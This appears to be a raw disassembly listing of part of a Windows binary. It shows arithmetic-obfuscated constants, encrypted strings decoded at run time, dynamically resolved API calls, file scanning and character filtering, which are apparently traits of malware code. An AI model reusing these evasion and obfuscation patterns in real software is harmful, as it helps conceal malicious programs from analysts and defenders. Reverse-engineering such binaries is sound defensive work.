lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, dword_54F130
dec eax
cmp ebx, eax
jnz loc_4437B9
lea eax, [ebp+var_40E6C]
push eax
push offset dword_550A28
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F10C
sub eax, 2
cmp ebx, eax
jnz loc_4437AD
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, dword_54F124
add eax, dword_54F090
sub eax, 6
cmp ebx, eax
jnz loc_4437A1
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_54F1C0
add eax, dword_54F200
sub eax, 6
cmp ebx, eax
jnz loc_443795
mov eax, dword_54F1D4
add eax, dword_54F23C
sub eax, 7
neg eax
mov [ebp+var_40E5C], eax
push offset dword_54F788
call sub_43DEC5
push eax
call ds:dword_44700C
mov [ebp+var_30E44], eax
push offset dword_54F774
call sub_43DEC5
push eax
call ds:dword_44700C
mov [ebp+var_30E48], eax
movsx eax, word_54F09C
mov edx, dword_54F22C
sub edx, 7
mov [ebp+eax+var_30D44], dl
mov eax, dword_54F0E0
add eax, dword_54F170
mov [ebp+eax+var_30D4A], 44h
mov eax, dword_54F248
movsx edx, word_54F0CC
add eax, edx
mov [ebp+eax+var_30D44], 7Ch
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
add esp, 10h
loc_442C0E: ; CODE XREF: sub_44296E+DFBj
movsx eax, word_54F194
dec eax
mov [ebp+var_40E8C], eax
mov eax, dword_54F114
add eax, dword_54F150
sub eax, 5
mov [ebp+var_40E88], eax
movsx eax, word_54F164
add eax, dword_54F1BC
sub eax, 6
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_442C91
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_54F210
sub eax, 5
cmp ebx, eax
jnz loc_443757
push offset byte_54F763
call sub_43AAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44602C
add esp, 0Ch
jmp loc_442DAD
; ---------------------------------------------------------------------------
loc_442C91: ; CODE XREF: sub_44296E+2DAj
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push offset dword_550A78
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F1F8
add eax, dword_54F184
sub eax, 7
cmp ebx, eax
jnz loc_443757
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, dword_54F238
add eax, dword_54F21C
sub eax, 4
cmp ebx, eax
jz short loc_442D34
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_443757
; ---------------------------------------------------------------------------
loc_442D34: ; CODE XREF: sub_44296E+3B3j
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_54F100
add eax, dword_54F234
sub eax, 11h
cmp ebx, eax
jz short loc_442D78
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_443757
; ---------------------------------------------------------------------------
loc_442D78: ; CODE XREF: sub_44296E+3EBj
push offset dword_54F754
call sub_43AAF7
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50C928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
add esp, 18h
loc_442DAD: ; CODE XREF: sub_44296E+31Ej
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_54F0C8
add eax, dword_54F0A4
sub eax, 8
cmp ebx, eax
jnz loc_443757
movsx eax, word_54F0C4
sub eax, 6
mov [ebp+var_30E50], eax
jmp loc_443745
; ---------------------------------------------------------------------------
loc_442DED: ; CODE XREF: sub_44296E+DE3j
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word_54F1C4
add eax, dword_54F1F4
mov edx, dword_54F15C
sub edx, 4
mov [ebp+eax+var_50EAC], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word_54F0C4
sub eax, 6
cmp ebx, eax
jnz loc_44373F
push offset word_54F746
call sub_43AAF7
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50C928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
add esp, 18h
movsx eax, word_54F0CC
add eax, dword_54F1E4
sub eax, 5
mov [ebp+var_60ED4], eax
lea eax, [ebp+var_60ED4]
push eax
push offset dword_550A48
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F22C
add eax, dword_54F224
sub eax, 8
cmp ebx, eax
jnz loc_4433A0
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
mov eax, dword_54F154
add eax, dword_54F174
sub eax, 0Fh
cmp ebx, eax
jnz loc_443394
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_43BBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call ds:dword_54DF34
mov eax, dword_54F248
sub eax, 4
mov [ebp+var_40E9C], eax
jmp short loc_442F9B
; ---------------------------------------------------------------------------
loc_442F51: ; CODE XREF: sub_44296E+639j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
mov edx, dword_54F1AC
add edx, 0Bh
cmp eax, edx
jz short loc_442F7F
mov edx, dword_54F134
add edx, 4
add edx, dword_54F170
cmp eax, edx
jnz short loc_442F95
loc_442F7F: ; CODE XREF: sub_44296E+5FCj
mov eax, [ebp+var_40E9C]
mov edx, dword_54F15C
sub edx, 4
mov [ebp+eax+var_60E9F], dl
loc_442F95: ; CODE XREF: sub_44296E+60Fj
inc [ebp+var_40E9C]
loc_442F9B: ; CODE XREF: sub_44296E+5E1j
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_442F51
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_4455D4
movsx eax, word_54F09C
add eax, dword_54F124
sub eax, 8
mov [ebp+var_40E9C], eax
loc_442FD2: ; CODE XREF: sub_44296E+7A5j
mov eax, [ebp+var_40E9C]
lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_442FE2: ; CODE XREF: sub_44296E+679j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442FE2
mov [ebp+var_60EA8], eax
mov edx, dword_54F23C
mov ecx, edx
add ecx, edx
cmp eax, ecx
jz short loc_443015
movsx edx, word_54F218
mov ecx, dword_54F0E0
lea edx, [edx+ecx+0C2h]
cmp eax, edx
jbe short loc_44301A
loc_443015: ; CODE XREF: sub_44296E+68Dj
jmp loc_4430EA
; ---------------------------------------------------------------------------
loc_44301A: ; CODE XREF: sub_44296E+6A5j
movsx eax, word_54F244
sub eax, 7
mov [ebp+var_60EA4], eax
jmp short loc_443054
; ---------------------------------------------------------------------------
loc_44302C: ; CODE XREF: sub_44296E+6F2j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
movsx edx, word_54F0FC
add edx, 1Eh
cmp eax, edx
jnz short loc_443062
inc [ebp+var_60EA4]
loc_443054: ; CODE XREF: sub_44296E+6BCj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_44302C
loc_443062: ; CODE XREF: sub_44296E+6DEj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_4430EA
movsx eax, word_54F0FC
dec eax
push eax
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_43DE22
add esp, 0Ch
mov [ebp+var_60EDC], eax
mov eax, dword_54F180
add eax, 0FFF7h
add eax, dword_54F234
cmp [ebp+var_60EDC], eax
jnz short loc_4430EA
push offset byte_54F741
call sub_43AAF7
push eax
lea edi, [ebp+var_50E9B]
push edi
call ds:dword_44602C
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call ds:dword_44602C
add esp, 14h
loc_4430EA: ; CODE XREF: sub_44296E:loc_443015j
; sub_44296E+700j ...
mov eax, [ebp+var_60EA8]
mov edx, dword_54F19C
add edx, dword_54F1C0
sub edx, 4
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_442FD2
mov eax, dword_54F20C
sub eax, 4
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_443130: ; CODE XREF: sub_44296E+7C7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443130
mov [ebp+var_60EA8], eax
mov eax, dword_54F1C0
sub eax, 1
mov [ebp+var_40E9C], eax
jmp loc_443363
; ---------------------------------------------------------------------------
loc_443150: ; CODE XREF: sub_44296E+A01j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_54F134
add edx, 15h
add edx, dword_54F098
cmp eax, edx
jz short loc_443178
and [ebp+var_60EAC], 0
loc_443178: ; CODE XREF: sub_44296E+801j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_54F1DC
add edx, 20h
cmp eax, edx
jnz loc_443309
mov eax, dword_54F184
sub eax, 4
cmp [ebp+var_40E9C], eax
jbe loc_44325B
mov eax, [ebp+var_40E9C]
movsx edx, word_54F128
add edx, dword_54F158
sub edx, 7
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_54F14C
add edx, 1Eh
cmp eax, edx
jle short loc_4431F1
mov edx, dword_54F0E8
add edx, 2Fh
cmp eax, edx
jl short loc_443251
loc_4431F1: ; CODE XREF: sub_44296E+874j
movzx eax, [ebp+var_60EDD]
movsx edx, word_54F164
mov ecx, dword_54F1AC
lea edx, [edx+ecx+36h]
cmp eax, edx
jle short loc_443222
movsx edx, word_54F1CC
mov ecx, dword_54F1A0
lea edx, [edx+ecx+30h]
cmp eax, edx
jl short loc_443251
loc_443222: ; CODE XREF: sub_44296E+89Dj
movzx eax, [ebp+var_60EDD]
movsx edx, word_54F194
mov ecx, dword_54F0E0
lea edx, [edx+ecx+73h]
cmp eax, edx
jle short loc_44325B
mov edx, dword_54F0AC
add edx, 78h
add edx, dword_54F1DC
cmp eax, edx
jge short loc_44325B
loc_443251: ; CODE XREF: sub_44296E+881j
; sub_44296E+8B2j
mov [ebp+var_60EAC], 1
loc_44325B: ; CODE XREF: sub_44296E+837j
; sub_44296E+8CEj ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_443309
mov eax, [ebp+var_40E9C]
mov edx, dword_54F098
sub edx, 8
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_54F1F4
add edx, 15h
add edx, dword_54F204
cmp eax, edx
jle short loc_4432BB
mov edx, dword_54F188
add edx, 29h
movsx ecx, word_54F094
add edx, ecx
cmp eax, edx
jl short loc_4432FF
loc_4432BB: ; CODE XREF: sub_44296E+935j
movzx eax, [ebp+var_60EDD]
mov edx, dword_54F21C
add edx, 35h
cmp eax, edx
jle short loc_4432DC
mov edx, dword_54F1F8
add edx, 3Eh
cmp eax, edx
jl short loc_4432FF
loc_4432DC: ; CODE XREF: sub_44296E+95Fj
movzx eax, [ebp+var_60EDD]
movsx edx, word_54F138
add edx, 77h
cmp eax, edx
jle short loc_443309
movsx edx, word_54F0CC
add edx, 7Eh
cmp eax, edx
jge short loc_443309
loc_4432FF: ; CODE XREF: sub_44296E+94Bj
; sub_44296E+96Cj
mov [ebp+var_60EAC], 1
loc_443309: ; CODE XREF: sub_44296E+823j
; sub_44296E+8F9j ...
cmp [ebp+var_60EAC], 0
jnz short loc_443332
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_443332: ; CODE XREF: sub_44296E+9A2j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_54F0D8
add edx, 18h
add edx, dword_54F10C
cmp eax, edx
jnz short loc_44335D
mov [ebp+var_60EAC], 1
loc_44335D: ; CODE XREF: sub_44296E+9E3j
inc [ebp+var_40E9C]
loc_443363: ; CODE XREF: sub_44296E+7DDj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_443150
mov eax, [ebp+var_60EB4]
mov edx, dword_54F1B0
movsx ecx, word_54F09C
add edx, ecx
sub edx, 0Dh
mov [ebp+eax+var_50E9B], dl
loc_443394: ; CODE XREF: sub_44296E+5A3j
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4433A0: ; CODE XREF: sub_44296E+575j
movsx eax, word_54F13C
sub eax, 9
mov [ebp+var_60EB0], eax
lea eax, [ebp+var_60EB0]
push eax
push offset dword_550A58
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F204
add eax, dword_54F180
sub eax, 2
cmp ebx, eax
jnz loc_4436D2
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
mov eax, dword_54F124
movsx edx, word_54F128
add eax, edx
sub eax, 7
cmp ebx, eax
jnz loc_4436C6
mov eax, dword_54F234
sub eax, 8
mov [ebp+var_50EA0], eax
jmp loc_4436B4
; ---------------------------------------------------------------------------
loc_443425: ; CODE XREF: sub_44296E+D52j
mov eax, dword_54F160
add eax, dword_54F174
sub eax, 0Eh
push eax
call ds:dword_50C924
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp+var_50EA0]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70F0C]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
movsx eax, word_54F210
movsx edx, word_54F0CC
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_4436AE
movsx eax, word_54F094
add eax, dword_54F0A0
sub eax, 5
mov [ebp+var_70EF4], eax
lea eax, [ebp+var_70EF4]
push eax
push offset dword_550A48
mov eax, [ebp+var_70F0C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_54F1A8
add eax, dword_54F220
sub eax, 2
cmp ebx, eax
jnz loc_4436A2
lea eax, [ebp+var_60EF0]
push eax
movsx eax, word_54F128
sub eax, 5
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_443524
cmp [ebp+var_60EF0], 8
jz short loc_443529
loc_443524: ; CODE XREF: sub_44296E+BAAj
jmp loc_443696
; ---------------------------------------------------------------------------
loc_443529: ; CODE XREF: sub_44296E+BB4j
mov eax, dword_54F20C
add eax, dword_54F18C
movsx edx, word_54F13C
sub edx, 9
mov byte ptr [ebp+eax+var_70EF4], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_43BBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F10], edi
push [ebp+var_60EE8]
call ds:dword_54DF34
mov eax, dword_54F134
movsx edx, word_54F094
movsx edx, byte ptr [ebp+edx+var_70EF4+3]
mov ecx, eax
add ecx, eax
mov eax, ecx
sub eax, 4
cmp edx, eax
jz loc_443696
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_438324
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_54F120
sub eax, 8
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_54F220
add eax, dword_54F24C
movsx edx, word_54F118
sub edx, 8
mov [ebp+eax+var_71F16], dl
or ebx, ebx
jnz short loc_443621
cmp [ebp+var_60EF0], 8
jnz short loc_443621
lea eax, [ebp+var_71F0B]
push eax
push [ebp+var_60EE8]
call sub_43BBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F14], edi
push [ebp+var_60EE8]
call ds:dword_54DF34
loc_443621: ; CODE XREF: sub_44296E+C7Dj
; sub_44296E+C87j
push offset byte_54F739
call sub_43AAF7
push [ebp+var_50EA0]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50C928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
lea eax, [ebp+var_71F0B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
push offset dword_54F734
call sub_43AAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44602C
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
add esp, 34h
loc_443696: ; CODE XREF: sub_44296E:loc_443524j
; sub_44296E+C20j
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4436A2: ; CODE XREF: sub_44296E+B7Cj
mov eax, [ebp+var_70F0C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4436AE: ; CODE XREF: sub_44296E+B30j
inc [ebp+var_50EA0]
loc_4436B4: ; CODE XREF: sub_44296E+AB2j
mov eax, [ebp+var_60EBC]
cmp [ebp+var_50EA0], eax
jb loc_443425
loc_4436C6: ; CODE XREF: sub_44296E+A9Ej
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4436D2: ; CODE XREF: sub_44296E+A70j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, dword_54F12C
add edx, dword_54F180
sub edx, 8
cmp eax, edx
jz short loc_44373F
push offset word_54F72E
call sub_43AAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44602C
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44602C
push offset byte_54F729
call sub_43AAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44602C
add esp, 20h
loc_44373F: ; CODE XREF: sub_44296E+4F6j
; sub_44296E+D88j
inc [ebp+var_30E50]
loc_443745: ; CODE XREF: sub_44296E+47Aj
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_442DED
loc_443757: ; CODE XREF: sub_44296E+2FDj
; sub_44296E+385j ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_442C0E
lea eax, [ebp+var_30D40]
push eax
call ds:dword_50C91C
pop ecx
push [ebp+var_30E48]
call ds:dword_54DF34
push [ebp+var_30E44]
call ds:dword_54DF34
loc_443795: ; CODE XREF: sub_44296E+1FFj
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4437A1: ; CODE XREF: sub_44296E+1D4j
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4437AD: ; CODE XREF: sub_44296E+1A9j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4437B9: ; CODE XREF: sub_44296E+CAj
; sub_44296E:loc_442A8Cj ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4437C5: ; CODE XREF: sub_44296E+51j
; sub_44296E+9Fj
pop edi
pop esi
pop ebx
leave
retn
sub_44296E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4437CA proc near ; DATA XREF: .data:0054F2F0o
push ebp
mov ebp, esp
push offset dword_4495B8
call ds:dword_4899F8
mov eax, ds:dword_4495B8
pop ebp
retn 4
sub_4437CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4437E1 proc near ; CODE XREF: sub_43B535+18p
; sub_43FBFD+10p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call ds:dword_54DB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_443829
cmp [ebp+arg_4], 0
jz short loc_443825
mov eax, [ebp+arg_4]
mov edx, dword_54F220
add edx, dword_54F19C
sub edx, 6
mov [eax], edx
loc_443825: ; CODE XREF: sub_4437E1+2Ej
xor eax, eax
jmp short loc_443878
; ---------------------------------------------------------------------------
loc_443829: ; CODE XREF: sub_4437E1+28j
mov eax, dword_54F1B4
sub eax, 4
push eax
push edi
call ds:dword_4CC910
mov esi, eax
add eax, 10h
push eax
push 40h
call ds:dword_4899EC
mov ebx, eax
push dword_54F1FC
cmp [ebp+arg_4], 0
jz short loc_44385D
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_443863
; ---------------------------------------------------------------------------
loc_44385D: ; CODE XREF: sub_4437E1+72j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_443863: ; CODE XREF: sub_4437E1+7Aj
push [ebp+var_8]
push esi
push ebx
push edi
call ds:dword_446034
push edi
call ds:dword_4CB948
mov eax, ebx
loc_443878: ; CODE XREF: sub_4437E1+46j
pop edi
pop esi
pop ebx
leave
retn
sub_4437E1 endp
; =============== S U B R O U T I N E =======================================
sub_44387D proc near ; DATA XREF: .data:0054F2B8o
mov eax, 80004001h
retn 10h
sub_44387D endp
; =============== S U B R O U T I N E =======================================
sub_443885 proc near ; CODE XREF: sub_444ED7+1Bp
push edi
push offset byte_54F719
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F278, eax
mov eax, dword_54F168
add eax, dword_54F17C
sub eax, 9
cmp dword_54F278, eax
jnz short loc_4438CA
push offset byte_54F709
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F278, eax
loc_4438CA: ; CODE XREF: sub_443885+2Cj
push offset dword_54F6EC
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_48A1E4, eax
push offset byte_54F6CF
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4491A8, eax
push offset asc_54F6C0 ; "\v"
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4CC904, eax
push offset byte_54F6A7
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4CB81C, eax
push offset dword_54F68C
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_446050, eax
push offset byte_54F673
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_446020, eax
push offset byte_54F65F
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_54C968, eax
push offset byte_54F649
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4899DC, eax
push offset byte_54F62B
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4899E8, eax
push offset word_54F61A
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_44959C, eax
push offset word_54F60A
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4495A0, eax
push offset off_54F5EA
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_447008, eax
push offset byte_54F5D3
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_4CC90C, eax
push offset byte_54F5BF
call sub_43AAF7
push eax
call sub_443D7B
mov ds:dword_449080, eax
push offset byte_54F5AB
call sub_43AAF7
push eax
call sub_443D7B
add esp, 78h
mov ds:dword_44604C, eax
pop edi
retn
sub_443885 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443A0A proc near ; CODE XREF: sub_4408C5+4Cp
; sub_4408C5+61p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_54F25C
call ds:dword_4491AC
mov edi, eax
pop edi
pop ebp
retn
sub_443A0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443A22 proc near ; CODE XREF: sub_443E8D+9Cp
; sub_443E8D+B4p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
cmp [ebp+arg_0], 6Ah
jnz short loc_443A52
add [ebp+arg_0], 1
loc_443A52: ; CODE XREF: sub_443A22+2Aj
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_443A6D
cmp al, 79h
jz short loc_443A6D
cmp al, 75h
jz short loc_443A6D
cmp al, 69h
jz short loc_443A6D
cmp al, 6Fh
jz short loc_443A6D
cmp al, 61h
jnz short loc_443A71
loc_443A6D: ; CODE XREF: sub_443A22+35j
; sub_443A22+39j ...
add [ebp+arg_0], 1
loc_443A71: ; CODE XREF: sub_443A22+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_443A22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443A79 proc near ; CODE XREF: sub_438324+481p
; sub_438324+49Dp
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4455B4
push esi
push edi
push 5
push [ebp+arg_0]
call ds:dword_446004
mov edi, eax
loc_443A95: ; CODE XREF: sub_443A79+7Bj
mov eax, dword_54F20C
sub eax, 4
cmp edi, eax
jnz short loc_443AA5
xor eax, eax
jmp short loc_443AF6
; ---------------------------------------------------------------------------
loc_443AA5: ; CODE XREF: sub_443A79+26j
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call ds:dword_447FD0
movsx eax, word_54F118
sub eax, 7
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_43DE22
add esp, 0Ch
mov esi, dword_54F0E4
add esi, 0FFFAh
cmp eax, esi
jz short loc_443AE9
mov eax, edi
jmp short loc_443AF6
; ---------------------------------------------------------------------------
loc_443AE9: ; CODE XREF: sub_443A79+6Aj
push 2
push edi
call ds:dword_446004
mov edi, eax
jmp short loc_443A95
; ---------------------------------------------------------------------------
loc_443AF6: ; CODE XREF: sub_443A79+2Aj
; sub_443A79+6Ej
pop edi
pop esi
leave
retn
sub_443A79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443AFA proc near ; CODE XREF: sub_43B0C6+AEp
; sub_43B71B+45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_54F120
mov esi, eax
add esi, dword_54F0D8
sub esi, 0Eh
movsx edi, word_54F1C4
sub edi, 8
jmp short loc_443B6A
; ---------------------------------------------------------------------------
loc_443B20: ; CODE XREF: sub_443AFA+7Cj
movzx edx, word ptr [ebx+edi*2]
mov ecx, [ebp+arg_4]
movzx ecx, word ptr [ecx+edi*2]
add edx, ecx
add edx, esi
mov [ebp+var_4], edx
mov eax, dword_54F1AC
add eax, 0FFFDh
cmp edx, eax
jbe short loc_443B59
movsx esi, word_54F1CC
sub esi, 8
mov eax, dword_54F180
add eax, 10000h
sub [ebp+var_4], eax
jmp short loc_443B62
; ---------------------------------------------------------------------------
loc_443B59: ; CODE XREF: sub_443AFA+44j
mov esi, dword_54F170
sub esi, 4
